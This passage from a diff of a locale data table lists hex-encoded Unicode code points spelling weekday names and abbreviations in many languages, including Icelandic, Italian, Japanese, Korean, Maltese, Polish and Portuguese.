0x3b, 0x126, 0x3b, 0x120, 0x3b, 0x53, 0x3b, 0x126, 0x61, 0x64, 0x3b, +0x6d, 0x62, 0x61, 0x74, 0x3b, 0x56, 0x3b, 0x48, 0x3b, 0x4b, 0x3b, 0x53, 0x7a, 0x3b, 0x43, 0x73, 0x3b, 0x50, 0x3b, 0x53, +0x7a, 0x3b, 0x73, 0x75, 0x6e, 0x3b, 0x6d, 0xe1, 0x6e, 0x3b, 0xfe, 0x72, 0x69, 0x3b, 0x6d, 0x69, 0xf0, 0x3b, 0x66, 0x69, +0x6d, 0x3b, 0x66, 0xf6, 0x73, 0x3b, 0x6c, 0x61, 0x75, 0x3b, 0x73, 0x75, 0x6e, 0x6e, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, +0x3b, 0x6d, 0xe1, 0x6e, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0xfe, 0x72, 0x69, 0xf0, 0x6a, 0x75, 0x64, 0x61, 0x67, +0x75, 0x72, 0x3b, 0x6d, 0x69, 0xf0, 0x76, 0x69, 0x6b, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x66, 0x69, 0x6d, 0x6d, +0x74, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x66, 0xf6, 0x73, 0x74, 0x75, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x6c, +0x61, 0x75, 0x67, 0x61, 0x72, 0x64, 0x61, 0x67, 0x75, 0x72, 0x3b, 0x73, 0x3b, 0x6d, 0x3b, 0xfe, 0x3b, 0x6d, 0x3b, 0x66, +0x3b, 0x66, 0x3b, 0x6c, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0xde, 0x3b, 0x4d, 0x3b, 0x46, 0x3b, 0x46, 0x3b, 0x4c, 0x3b, 0x4d, +0x69, 0x6e, 0x3b, 0x53, 0x65, 0x6e, 0x3b, 0x53, 0x65, 0x6c, 0x3b, 0x52, 0x61, 0x62, 0x3b, 0x4b, 0x61, 0x6d, 0x3b, 0x4a, +0x75, 0x6d, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x4d, 0x69, 0x6e, 0x67, 0x67, 0x75, 0x3b, 0x53, 0x65, 0x6e, 0x69, 0x6e, 0x3b, +0x53, 0x65, 0x6c, 0x61, 0x73, 0x61, 0x3b, 0x52, 0x61, 0x62, 0x75, 0x3b, 0x4b, 0x61, 0x6d, 0x69, 0x73, 0x3b, 0x4a, 0x75, +0x6d, 0x61, 0x74, 0x3b, 0x53, 0x61, 0x62, 0x74, 0x75, 0x3b, 0x4d, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x52, 0x3b, 0x4b, 0x3b, +0x4a, 0x3b, 0x53, 0x3b, 0x44, 0x6f, 0x6d, 0x68, 0x3b, 0x4c, 0x75, 0x61, 0x6e, 0x3b, 0x4d, 0xe1, 0x69, 0x72, 0x74, 0x3b, +0x43, 0xe9, 0x61, 0x64, 0x3b, 0x44, 0xe9, 0x61, 0x72, 0x3b, 0x41, 0x6f, 0x69, 0x6e, 0x65, 0x3b, 0x53, 0x61, 0x74, 0x68, +0x3b, 0x44, 0xe9, 0x20, 0x44, 0x6f, 0x6d, 0x68, 0x6e, 0x61, 0x69, 0x67, 0x68, 0x3b, 0x44, 0xe9, 0x20, 0x4c, 0x75, 0x61, +0x69, 0x6e, 0x3b, 0x44, 0xe9, 0x20, 0x4d, 0xe1, 0x69, 0x72, 0x74, 0x3b, 0x44, 0xe9, 0x20, 0x43, 0xe9, 0x61, 0x64, 0x61, +0x6f, 0x69, 0x6e, 0x3b, 0x44, 0xe9, 0x61, 0x72, 0x64, 0x61, 0x6f, 0x69, 0x6e, 0x3b, 0x44, 0xe9, 0x20, 0x68, 0x41, 0x6f, +0x69, 0x6e, 0x65, 0x3b, 0x44, 0xe9, 0x20, 0x53, 0x61, 0x74, 0x68, 0x61, 0x69, 0x72, 0x6e, 0x3b, 0x44, 0x3b, 0x4c, 0x3b, +0x4d, 0x3b, 0x43, 0x3b, 0x44, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x64, 0x6f, 0x6d, 0x3b, 0x6c, 0x75, 0x6e, 0x3b, 0x6d, 0x61, +0x72, 0x3b, 0x6d, 0x65, 0x72, 0x3b, 0x67, 0x69, 0x6f, 0x3b, 0x76, 0x65, 0x6e, 0x3b, 0x73, 0x61, 0x62, 0x3b, 0x44, 0x6f, +0x6d, 0x65, 0x6e, 0x69, 0x63, 0x61, 0x3b, 0x4c, 0x75, 0x6e, 0x65, 0x64, 0xec, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x65, 0x64, +0xec, 0x3b, 0x4d, 0x65, 0x72, 0x63, 0x6f, 0x6c, 0x65, 0x64, 0xec, 0x3b, 0x47, 0x69, 0x6f, 0x76, 0x65, 0x64, 0xec, 0x3b, +0x56, 0x65, 0x6e, 0x65, 0x72, 0x64, 0xec, 0x3b, 0x53, 0x61, 0x62, 0x61, 0x74, 0x6f, 0x3b, 0x44, 0x3b, 0x4c, 0x3b, 0x4d, +0x3b, 0x4d, 0x3b, 0x47, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x64, 0x6f, 0x6d, 0x65, 0x6e, 0x69, 0x63, 0x61, 0x3b, 0x6c, 0x75, +0x6e, 0x65, 0x64, 0xec, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x64, 0xec, 0x3b, 0x6d, 0x65, 0x72, 0x63, 0x6f, 0x6c, 0x65, +0x64, 0xec, 0x3b, 0x67, 0x69, 0x6f, 0x76, 0x65, 0x64, 0xec, 0x3b, 0x76, 0x65, 0x6e, 0x65, 0x72, 0x64, 0xec, 0x3b, 0x73, +0x61, 0x62, 0x61, 0x74, 0x6f, 0x3b, 0x65e5, 0x3b, 0x6708, 0x3b, 0x706b, 0x3b, 0x6c34, 0x3b, 0x6728, 0x3b, 0x91d1, 0x3b, 0x571f, 0x3b, +0x65e5, 0x66dc, 0x65e5, 0x3b, 0x6708, 0x66dc, 0x65e5, 0x3b, 0x706b, 0x66dc, 0x65e5, 0x3b, 0x6c34, 0x66dc, 0x65e5, 0x3b, 0x6728, 0x66dc, 0x65e5, 0x3b, +0x91d1, 0x66dc, 0x65e5, 0x3b, 0x571f, 0x66dc, 0x65e5, 0x3b, 0xcb0, 0x2e, 0x3b, 0xcb8, 0xccb, 0x2e, 0x3b, 0xcae, 0xc82, 0x2e, 0x3b, 0xcac, +0xcc1, 0x2e, 0x3b, 0xc97, 0xcc1, 0x2e, 0x3b, 0xcb6, 0xcc1, 0x2e, 0x3b, 0xcb6, 0xca8, 0xcbf, 0x2e, 0x3b, 0xcb0, 0xcb5, 0xcbf, 0xcb5, +0xcbe, 0xcb0, 0x3b, 0xcb8, 0xccb, 0xcae, 0xcb5, 0xcbe, 0xcb0, 0x3b, 0xcae, 0xc82, 0xc97, 0xcb3, 0xcb5, 0xcbe, 0xcb0, 0x3b, 0xcac, 0xcc1, +0xca7, 0xcb5, 0xcbe, 0xcb0, 0x3b, 0xc97, 0xcc1, 0xcb0, 0xcc1, 0xcb5, 0xcbe, 0xcb0, 0x3b, 0xcb6, 0xcc1, 0xc95, 0xccd, 0xcb0, 0xcb5, 0xcbe, +0xcb0, 0x3b, 0xcb6, 0xca8, 0xcbf, 0xcb5, 0xcbe, 0xcb0, 0x3b, 0xcb0, 0x3b, 0xcb8, 0xccb, 0x3b, 0xcae, 0xc82, 0x3b, 0xcac, 0xcc1, 0x3b, +0xc97, 0xcc1, 0x3b, 0xcb6, 0xcc1, 0x3b, 0xcb6, 0x3b, 0x436, 0x441, 0x2e, 0x3b, 0x434, 0x441, 0x2e, 0x3b, 0x441, 0x441, 0x2e, 0x3b, +0x441, 0x440, 0x2e, 0x3b, 0x431, 0x441, 0x2e, 0x3b, 0x436, 0x43c, 0x2e, 0x3b, 0x441, 0x4bb, 0x2e, 0x3b, 0x436, 0x435, 0x43a, 0x441, +0x435, 0x43d, 0x456, 0x3b, 0x434, 0x443, 0x439, 0x441, 0x435, 0x43d, 0x431, 0x456, 0x3b, 0x441, 0x435, 0x439, 0x441, 0x435, 0x43d, 0x431, +0x456, 0x3b, 0x441, 0x4d9, 0x440, 0x435, 0x43d, 0x431, 0x456, 0x3b, 0x431, 0x435, 0x439, 0x441, 0x435, 0x43d, 0x431, 0x456, 0x3b, 0x436, +0x4b1, 0x43c, 0x430, 0x3b, 0x441, 0x435, 0x43d, 0x431, 0x456, 0x3b, 0x63, 0x79, 0x75, 0x2e, 0x3b, 0x6d, 0x62, 0x65, 0x2e, 0x3b, +0x6b, 0x61, 0x62, 0x2e, 0x3b, 0x67, 0x74, 0x75, 0x2e, 0x3b, 0x6b, 0x61, 0x6e, 0x2e, 0x3b, 0x67, 0x6e, 0x75, 0x2e, 0x3b, +0x67, 0x6e, 0x64, 0x2e, 0x3b, 0x4b, 0x75, 0x20, 0x63, 0x79, 0x75, 0x6d, 0x77, 0x65, 0x72, 0x75, 0x3b, 0x4b, 0x75, 0x77, +0x61, 0x20, 0x6d, 0x62, 0x65, 0x72, 0x65, 0x3b, 0x4b, 0x75, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x62, 0x69, 0x72, 0x69, 0x3b, +0x4b, 0x75, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4b, 0x75, 0x77, 0x61, 0x20, 0x6b, 0x61, 0x6e, +0x65, 0x3b, 0x4b, 0x75, 0x77, 0x61, 0x20, 0x67, 0x61, 0x74, 0x61, 0x6e, 0x75, 0x3b, 0x4b, 0x75, 0x77, 0x61, 0x20, 0x67, +0x61, 0x74, 0x61, 0x6e, 0x64, 0x61, 0x74, 0x75, 0x3b, 0xc77c, 0x3b, 0xc6d4, 0x3b, 0xd654, 0x3b, 0xc218, 0x3b, 0xbaa9, 0x3b, 0xae08, +0x3b, 0xd1a0, 0x3b, 0xc77c, 0xc694, 0xc77c, 0x3b, 0xc6d4, 0xc694, 0xc77c, 0x3b, 0xd654, 0xc694, 0xc77c, 0x3b, 0xc218, 0xc694, 0xc77c, 0x3b, 0xbaa9, +0xc694, 0xc77c, 0x3b, 0xae08, 0xc694, 0xc77c, 0x3b, 0xd1a0, 0xc694, 0xc77c, 0x3b, 0x6cc, 0x6d5, 0x6a9, 0x634, 0x6d5, 0x645, 0x645, 0x6d5, 0x3b, +0x62f, 0x648, 0x648, 0x634, 0x6d5, 0x645, 0x645, 0x6d5, 0x3b, 0x633, 0x6ce, 0x634, 0x6d5, 0x645, 0x645, 0x6d5, 0x3b, 0x686, 0x648, 0x627, +0x631, 0x634, 0x6d5, 0x645, 0x645, 0x6d5, 0x3b, 0x35, 0x3b, 0x36, 0x3b, 0x37, 0x3b, 0x6cc, 0x3b, 0x62f, 0x3b, 0x633, 0x3b, 0x34, +0x3b, 0x35, 0x3b, 0x36, 0x3b, 0x37, 0x3b, 0x79, 0x15f, 0x3b, 0x64, 0x15f, 0x3b, 0x73, 0x15f, 0x3b, 0xe7, 0x15f, 0x3b, 0x70, +0x15f, 0x3b, 0xee, 0x6e, 0x3b, 0x15f, 0x3b, 0x79, 0x65, 0x6b, 0x15f, 0x65, 0x6d, 0x3b, 0x64, 0x75, 0x15f, 0x65, 0x6d, 0x3b, +0x15f, 0xea, 0x3b, 0xe7, 0x61, 0x72, 0x15f, 0x65, 0x6d, 0x3b, 0x70, 0xea, 0x6e, 0x63, 0x15f, 0x65, 0x6d, 0x3b, 0xee, 0x6e, +0x3b, 0x15f, 0x65, 0x6d, 0xee, 0x3b, 0x79, 0x3b, 0x64, 0x3b, 0x73, 0x3b, 0xe7, 0x3b, 0x70, 0x3b, 0xee, 0x3b, 0x15f, 0x3b, +0xead, 0xeb2, 0x2e, 0x3b, 0xe88, 0x2e, 0x3b, 0xead, 0x2e, 0x3b, 0xe9e, 0x2e, 0x3b, 0xe9e, 0xeab, 0x2e, 0x3b, 0xeaa, 0xe81, 0x2e, +0x3b, 0xeaa, 0x2e, 0x3b, 0xea7, 0xeb1, 0xe99, 0xead, 0xeb2, 0xe97, 0xeb4, 0xe94, 0x3b, 0xea7, 0xeb1, 0xe99, 0xe88, 0xeb1, 0xe99, 0x3b, +0xea7, 0xeb1, 0xe99, 0xead, 0xeb1, 0xe87, 0xe84, 0xeb2, 0xe99, 0x3b, 0xea7, 0xeb1, 0xe99, 0xe9e, 0xeb8, 0xe94, 0x3b, 0xea7, 0xeb1, 0xe99, +0xe9e, 0xeb0, 0xeab, 0xeb1, 0xe94, 0x3b, 0xea7, 0xeb1, 0xe99, 0xeaa, 0xeb8, 0xe81, 0x3b, 0xea7, 0xeb1, 0xe99, 0xec0, 0xeaa, 0xebb, 0xeb2, +0x3b, 0x53, 0x76, 0x3b, 0x50, 0x72, 0x3b, 0x4f, 0x74, 0x3b, 0x54, 0x72, 0x3b, 0x43, 0x65, 0x3b, 0x50, 0x6b, 0x3b, 0x53, +0x65, 0x3b, 0x73, 0x76, 0x113, 0x74, 0x64, 0x69, 0x65, 0x6e, 0x61, 0x3b, 0x70, 0x69, 0x72, 0x6d, 0x64, 0x69, 0x65, 0x6e, +0x61, 0x3b, 0x6f, 0x74, 0x72, 0x64, 0x69, 0x65, 0x6e, 0x61, 0x3b, 0x74, 0x72, 0x65, 0x161, 0x64, 0x69, 0x65, 0x6e, 0x61, +0x3b, 0x63, 0x65, 0x74, 0x75, 0x72, 0x74, 0x64, 0x69, 0x65, 0x6e, 0x61, 0x3b, 0x70, 0x69, 0x65, 0x6b, 0x74, 0x64, 0x69, +0x65, 0x6e, 0x61, 0x3b, 0x73, 0x65, 0x73, 0x74, 0x64, 0x69, 0x65, 0x6e, 0x61, 0x3b, 0x53, 0x3b, 0x50, 0x3b, 0x4f, 0x3b, +0x54, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x65, 0x79, 0x65, 0x3b, 0x6d, 0x31, 0x3b, 0x6d, 0x32, 0x3b, 0x6d, 0x33, +0x3b, 0x6d, 0x34, 0x3b, 0x6d, 0x35, 0x3b, 0x6d, 0x70, 0x73, 0x3b, 0x65, 0x79, 0x65, 0x6e, 0x67, 0x61, 0x3b, 0x6d, 0x6f, +0x6b, 0x254, 0x6c, 0x254, 0x20, 0x79, 0x61, 0x20, 0x6c, 0x69, 0x62, 0x6f, 0x73, 0xf3, 0x3b, 0x6d, 0x6f, 0x6b, 0x254, 0x6c, +0x254, 0x20, 0x79, 0x61, 0x20, 0x6d, 0xed, 0x62, 0x61, 0x6c, 0xe9, 0x3b, 0x6d, 0x6f, 0x6b, 0x254, 0x6c, 0x254, 0x20, 0x79, +0x61, 0x20, 0x6d, 0xed, 0x73, 0xe1, 0x74, 0x6f, 0x3b, 0x6d, 0x6f, 0x6b, 0x254, 0x6c, 0x254, 0x20, 0x79, 0x61, 0x20, 0x6d, +0xed, 0x6e, 0xe9, 0x69, 0x3b, 0x6d, 0x6f, 0x6b, 0x254, 0x6c, 0x254, 0x20, 0x79, 0x61, 0x20, 0x6d, 0xed, 0x74, 0xe1, 0x6e, +0x6f, 0x3b, 0x6d, 0x70, 0x254, 0x301, 0x73, 0x254, 0x3b, 0x53, 0x6b, 0x3b, 0x50, 0x69, 0x3b, 0x41, 0x3b, 0x54, 0x3b, 0x4b, +0x3b, 0x50, 0x65, 0x3b, 0x160, 0x3b, 0x73, 0x65, 0x6b, 0x6d, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, 0x73, 0x3b, 0x70, 0x69, +0x72, 0x6d, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, 0x73, 0x3b, 0x61, 0x6e, 0x74, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, +0x73, 0x3b, 0x74, 0x72, 0x65, 0x10d, 0x69, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, 0x73, 0x3b, 0x6b, 0x65, 0x74, 0x76, 0x69, +0x72, 0x74, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, 0x73, 0x3b, 0x70, 0x65, 0x6e, 0x6b, 0x74, 0x61, 0x64, 0x69, 0x65, 0x6e, +0x69, 0x73, 0x3b, 0x161, 0x65, 0x161, 0x74, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x69, 0x73, 0x3b, 0x53, 0x3b, 0x50, 0x3b, 0x41, +0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x50, 0x3b, 0x160, 0x3b, 0x53, 0x6b, 0x3b, 0x50, 0x72, 0x3b, 0x41, 0x6e, 0x3b, 0x54, 0x72, +0x3b, 0x4b, 0x74, 0x3b, 0x50, 0x6e, 0x3b, 0x160, 0x74, 0x3b, 0x43d, 0x435, 0x434, 0x2e, 0x3b, 0x43f, 0x43e, 0x43d, 0x2e, 0x3b, +0x432, 0x442, 0x2e, 0x3b, 0x441, 0x440, 0x435, 0x2e, 0x3b, 0x447, 0x435, 0x442, 0x2e, 0x3b, 0x43f, 0x435, 0x442, 0x2e, 0x3b, 0x441, +0x430, 0x431, 0x2e, 0x3b, 0x43d, 0x435, 0x434, 0x435, 0x43b, 0x430, 0x3b, 0x43f, 0x43e, 0x43d, 0x435, 0x434, 0x435, 0x43b, 0x43d, 0x438, +0x43a, 0x3b, 0x432, 0x442, 0x43e, 0x440, 0x43d, 0x438, 0x43a, 0x3b, 0x441, 0x440, 0x435, 0x434, 0x430, 0x3b, 0x447, 0x435, 0x442, 0x432, +0x440, 0x442, 0x43e, 0x43a, 0x3b, 0x43f, 0x435, 0x442, 0x43e, 0x43a, 0x3b, 0x441, 0x430, 0x431, 0x43e, 0x442, 0x430, 0x3b, 0x41, 0x6c, +0x61, 0x68, 0x3b, 0x41, 0x6c, 0x61, 0x74, 0x73, 0x3b, 0x54, 0x61, 0x6c, 0x3b, 0x41, 0x6c, 0x61, 0x72, 0x3b, 0x41, 0x6c, +0x61, 0x6b, 0x3b, 0x5a, 0x6f, 0x6d, 0x3b, 0x41, 0x73, 0x61, 0x62, 0x3b, 0x41, 0x6c, 0x61, 0x68, 0x61, 0x64, 0x79, 0x3b, +0x41, 0x6c, 0x61, 0x74, 0x73, 0x69, 0x6e, 0x61, 0x69, 0x6e, 0x79, 0x3b, 0x54, 0x61, 0x6c, 0x61, 0x74, 0x61, 0x3b, 0x41, +0x6c, 0x61, 0x72, 0x6f, 0x62, 0x69, 0x61, 0x3b, 0x41, 0x6c, 0x61, 0x6b, 0x61, 0x6d, 0x69, 0x73, 0x79, 0x3b, 0x5a, 0x6f, +0x6d, 0x61, 0x3b, 0x41, 0x73, 0x61, 0x62, 0x6f, 0x74, 0x73, 0x79, 0x3b, 0x41, 0x3b, 0x41, 0x3b, 0x54, 0x3b, 0x41, 0x3b, +0x41, 0x3b, 0x5a, 0x3b, 0x41, 0x3b, 0x41, 0x68, 0x64, 0x3b, 0x49, 0x73, 0x6e, 0x3b, 0x53, 0x65, 0x6c, 0x3b, 0x52, 0x61, +0x62, 0x3b, 0x4b, 0x68, 0x61, 0x3b, 0x4a, 0x75, 0x6d, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x41, 0x68, 0x61, 0x64, 0x3b, 0x49, +0x73, 0x6e, 0x69, 0x6e, 0x3b, 0x53, 0x65, 0x6c, 0x61, 0x73, 0x61, 0x3b, 0x52, 0x61, 0x62, 0x75, 0x3b, 0x4b, 0x68, 0x61, +0x6d, 0x69, 0x73, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x61, 0x74, 0x3b, 0x53, 0x61, 0x62, 0x74, 0x75, 0x3b, 0xd1e, 0xd3e, 0xd2f, +0xd30, 0xd4d, 0x200d, 0x3b, 0xd24, 0xd3f, 0xd19, 0xd4d, 0xd15, 0xd33, 0xd4d, 0x200d, 0x3b, 0xd1a, 0xd4a, 0xd35, 0xd4d, 0xd35, 0x3b, 0xd2c, +0xd41, 0xd27, 0xd28, 0xd4d, 0x200d, 0x3b, 0xd35, 0xd4d, 0xd2f, 0xd3e, 0xd34, 0xd02, 0x3b, 0xd35, 0xd46, 0xd33, 0xd4d, 0xd33, 0xd3f, 0x3b, +0xd36, 0xd28, 0xd3f, 0x3b, 0xd1e, 0xd3e, 0xd2f, 0xd31, 0xd3e, 0xd34, 0xd4d, 0xd1a, 0x3b, 0xd24, 0xd3f, 0xd19, 0xd4d, 0xd15, 0xd33, 0xd3e, +0xd34, 0xd4d, 0xd1a, 0x3b, 0xd1a, 0xd4a, 0xd35, 0xd4d, 0xd35, 0xd3e, 0xd34, 0xd4d, 0xd1a, 0x3b, 0xd2c, 0xd41, 0xd27, 0xd28, 0xd3e, 0xd34, +0xd4d, 0xd1a, 0x3b, 0xd35, 0xd4d, 0xd2f, 0xd3e, 0xd34, 0xd3e, 0xd34, 0xd4d, 0xd1a, 0x3b, 0xd35, 0xd46, 0xd33, 0xd4d, 0xd33, 0xd3f, 0xd2f, +0xd3e, 0xd34, 0xd4d, 0xd1a, 0x3b, 0xd36, 0xd28, 0xd3f, 0xd2f, 0xd3e, 0xd34, 0xd4d, 0xd1a, 0x3b, 0xd1e, 0xd3e, 0x3b, 0xd24, 0xd3f, 0x3b, +0xd1a, 0xd4a, 0x3b, 0xd2c, 0xd41, 0x3b, 0xd35, 0xd4d, 0xd2f, 0xd3e, 0x3b, 0xd35, 0xd46, 0x3b, 0xd36, 0x3b, 0x126, 0x61, 0x64, 0x3b, 0x54, 0x6e, 0x65, 0x3b, 0x54, 0x6c, 0x69, 0x3b, 0x45, 0x72, 0x62, 0x3b, 0x126, 0x61, 0x6d, 0x3b, 0x120, 0x69, 0x6d, 0x3b, 0x53, 0x69, 0x62, 0x3b, 0x49, 0x6c, 0x2d, 0x126, 0x61, 0x64, 0x64, 0x3b, 0x49, 0x74, 0x2d, 0x54, 0x6e, 0x65, 0x6a, 0x6e, 0x3b, 0x49, 0x74, 0x2d, 0x54, 0x6c, 0x69, 0x65, 0x74, 0x61, 0x3b, 0x4c, 0x2d, 0x45, 0x72, 0x62, 0x67, 0x127, 0x61, 0x3b, 0x49, 0x6c, 0x2d, 0x126, 0x61, 0x6d, 0x69, 0x73, 0x3b, 0x49, 0x6c, 0x2d, 0x120, 0x69, 0x6d, 0x67, 0x127, 0x61, 0x3b, 0x49, -0x73, 0x2d, 0x53, 0x69, 0x62, 0x74, 0x3b, 0x930, 0x935, 0x93f, 0x3b, 0x938, 0x94b, 0x92e, 0x3b, 0x92e, 0x902, 0x917, 0x933, 0x3b, -0x92c, 0x941, 0x927, 0x3b, 0x917, 0x941, 0x930, 0x941, 0x3b, 0x936, 0x941, 0x915, 0x94d, 0x930, 0x3b, 0x936, 0x928, 0x93f, 0x3b, 0x930, -0x935, 0x93f, 0x935, 0x93e, 0x930, 0x3b, 0x938, 0x94b, 0x92e, 0x935, 0x93e, 0x930, 0x3b, 0x92e, 0x902, 0x917, 0x933, 0x935, 0x93e, 0x930, -0x3b, 0x92c, 0x941, 0x927, 0x935, 0x93e, 0x930, 0x3b, 0x917, 0x941, 0x930, 0x941, 0x935, 0x93e, 0x930, 0x3b, 0x936, 0x941, 0x915, 0x94d, -0x930, 0x935, 0x93e, 0x930, 0x3b, 0x936, 0x928, 0x93f, 0x935, 0x93e, 0x930, 0x3b, 0x41d, 0x44f, 0x3b, 0x414, 0x430, 0x3b, 0x41c, 0x44f, -0x3b, 0x41b, 0x445, 0x3b, 0x41f, 0x4af, 0x3b, 0x411, 0x430, 0x3b, 0x411, 0x44f, 0x3b, 0x43d, 0x44f, 0x43c, 0x3b, 0x434, 0x430, 0x432, -0x430, 0x430, 0x3b, 0x43c, 0x44f, 0x433, 0x43c, 0x430, 0x440, 0x3b, 0x43b, 0x445, 0x430, 0x433, 0x432, 0x430, 0x3b, 0x43f, 0x4af, 0x440, -0x44d, 0x432, 0x3b, 0x431, 0x430, 0x430, 0x441, 0x430, 0x43d, 0x3b, 0x431, 0x44f, 0x43c, 0x431, 0x430, 0x3b, 0x967, 0x3b, 0x968, 0x3b, -0x969, 0x3b, 0x96a, 0x3b, 0x96b, 0x3b, 0x96c, 0x3b, 0x96d, 0x3b, 0x906, 0x907, 0x924, 0x3b, 0x938, 0x94b, 0x92e, 0x3b, 0x92e, 0x919, -0x94d, 0x917, 0x932, 0x3b, 0x92c, 0x941, 0x927, 0x3b, 0x92c, 0x93f, 0x939, 0x940, 0x3b, 0x936, 0x941, 0x915, 0x94d, 0x930, 0x3b, 0x936, -0x928, 0x93f, 0x3b, 0x906, 0x907, 0x924, 0x92c, 0x93e, 0x930, 0x3b, 0x938, 0x94b, 0x92e, 0x92c, 0x93e, 0x930, 0x3b, 0x92e, 0x919, 0x94d, -0x917, 0x932, 0x92c, 0x93e, 0x930, 0x3b, 0x92c, 0x941, 0x927, 0x92c, 0x93e, 0x930, 0x3b, 0x92c, 0x93f, 0x939, 0x940, 0x92c, 0x93e, 0x930, -0x3b, 0x936, 0x941, 0x915, 0x94d, 0x930, 0x92c, 0x93e, 0x930, 0x3b, 0x936, 0x928, 0x93f, 0x92c, 0x93e, 0x930, 0x3b, 0x73, 0xf8, 0x6e, -0x2e, 0x3b, 0x6d, 0x61, 0x6e, 0x2e, 0x3b, 0x74, 0x69, 0x72, 0x2e, 0x3b, 0x6f, 0x6e, 0x73, 0x2e, 0x3b, 0x74, 0x6f, 0x72, -0x2e, 0x3b, 0x66, 0x72, 0x65, 0x2e, 0x3b, 0x6c, 0xf8, 0x72, 0x2e, 0x3b, 0xb30, 0xb2c, 0xb3f, 0x3b, 0xb38, 0xb4b, 0xb2e, 0x3b, -0xb2e, 0xb19, 0xb4d, 0xb17, 0xb33, 0x3b, 0xb2c, 0xb41, 0xb27, 0x3b, 0xb17, 0xb41, 0xb30, 0xb41, 0x3b, 0xb36, 0xb41, 0xb15, 0xb4d, 0xb30, -0x3b, 0xb36, 0xb28, 0xb3f, 0x3b, 0xb30, 0xb2c, 0xb3f, 0xb2c, 0xb3e, 0xb30, 0x3b, 0xb38, 0xb4b, 0xb2e, 0xb2c, 0xb3e, 0xb30, 0x3b, 0xb2e, -0xb19, 0xb4d, 0xb17, 0xb33, 0xb2c, 0xb3e, 0xb30, 0x3b, 0xb2c, 0xb41, 0xb27, 0xb2c, 0xb3e, 0xb30, 0x3b, 0xb17, 0xb41, 0xb30, 0xb41, 0xb2c, -0xb3e, 0xb30, 0x3b, 0xb36, 0xb41, 0xb15, 0xb4d, 0xb30, 0xb2c, 0xb3e, 0xb30, 0x3b, 0xb36, 0xb28, 0xb3f, 0xb2c, 0xb3e, 0xb30, 0x3b, 0x6cc, -0x6a9, 0x634, 0x646, 0x628, 0x647, 0x3b, 0x62f, 0x648, 0x634, 0x646, 0x628, 0x647, 0x3b, 0x633, 0x647, 0x200c, 0x634, 0x646, 0x628, 0x647, -0x3b, 0x686, 0x647, 0x627, 0x631, 0x634, 0x646, 0x628, 0x647, 0x3b, 0x67e, 0x646, 0x62c, 0x634, 0x646, 0x628, 0x647, 0x3b, 0x62c, 0x645, -0x639, 0x647, 0x3b, 0x634, 0x646, 0x628, 0x647, 0x3b, 0x6cc, 0x3b, 0x62f, 0x3b, 0x633, 0x3b, 0x686, 0x3b, 0x67e, 0x3b, 0x62c, 0x3b, -0x634, 0x3b, 0x4e, 0x3b, 0x50, 0x3b, 0x57, 0x3b, 0x15a, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x6e, 0x69, 0x65, 0x64, -0x7a, 0x2e, 0x3b, 0x70, 0x6f, 0x6e, 0x2e, 0x3b, 0x77, 0x74, 0x2e, 0x3b, 0x15b, 0x72, 0x2e, 0x3b, 0x63, 0x7a, 0x77, 0x2e, -0x3b, 0x70, 0x74, 0x2e, 0x3b, 0x73, 0x6f, 0x62, 0x2e, 0x3b, 0x6e, 0x69, 0x65, 0x64, 0x7a, 0x69, 0x65, 0x6c, 0x61, 0x3b, -0x70, 0x6f, 0x6e, 0x69, 0x65, 0x64, 0x7a, 0x69, 0x61, 0x142, 0x65, 0x6b, 0x3b, 0x77, 0x74, 0x6f, 0x72, 0x65, 0x6b, 0x3b, -0x15b, 0x72, 0x6f, 0x64, 0x61, 0x3b, 0x63, 0x7a, 0x77, 0x61, 0x72, 0x74, 0x65, 0x6b, 0x3b, 0x70, 0x69, 0x105, 0x74, 0x65, -0x6b, 0x3b, 0x73, 0x6f, 0x62, 0x6f, 0x74, 0x61, 0x3b, 0x44, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x51, 0x3b, 0x51, 0x3b, 0x53, -0x3b, 0x53, 0x3b, 0x64, 0x6f, 0x6d, 0x3b, 0x73, 0x65, 0x67, 0x3b, 0x74, 0x65, 0x72, 0x3b, 0x71, 0x75, 0x61, 0x3b, 0x71, -0x75, 0x69, 0x3b, 0x73, 0x65, 0x78, 0x3b, 0x73, 0xe1, 0x62, 0x3b, 0x64, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x6f, 0x3b, 0x73, -0x65, 0x67, 0x75, 0x6e, 0x64, 0x61, 0x2d, 0x66, 0x65, 0x69, 0x72, 0x61, 0x3b, 0x74, 0x65, 0x72, 0xe7, 0x61, 0x2d, 0x66, -0x65, 0x69, 0x72, 0x61, 0x3b, 0x71, 0x75, 0x61, 0x72, 0x74, 0x61, 0x2d, 0x66, 0x65, 0x69, 0x72, 0x61, 0x3b, 0x71, 0x75, -0x69, 0x6e, 0x74, 0x61, 0x2d, 0x66, 0x65, 0x69, 0x72, 0x61, 0x3b, 0x73, 0x65, 0x78, 0x74, 0x61, 0x2d, 0x66, 0x65, 0x69, -0x72, 0x61, 0x3b, 0x73, 0xe1, 0x62, 0x61, 0x64, 0x6f, 0x3b, 0xa10, 0x3b, 0xa38, 0xa4b, 0x3b, 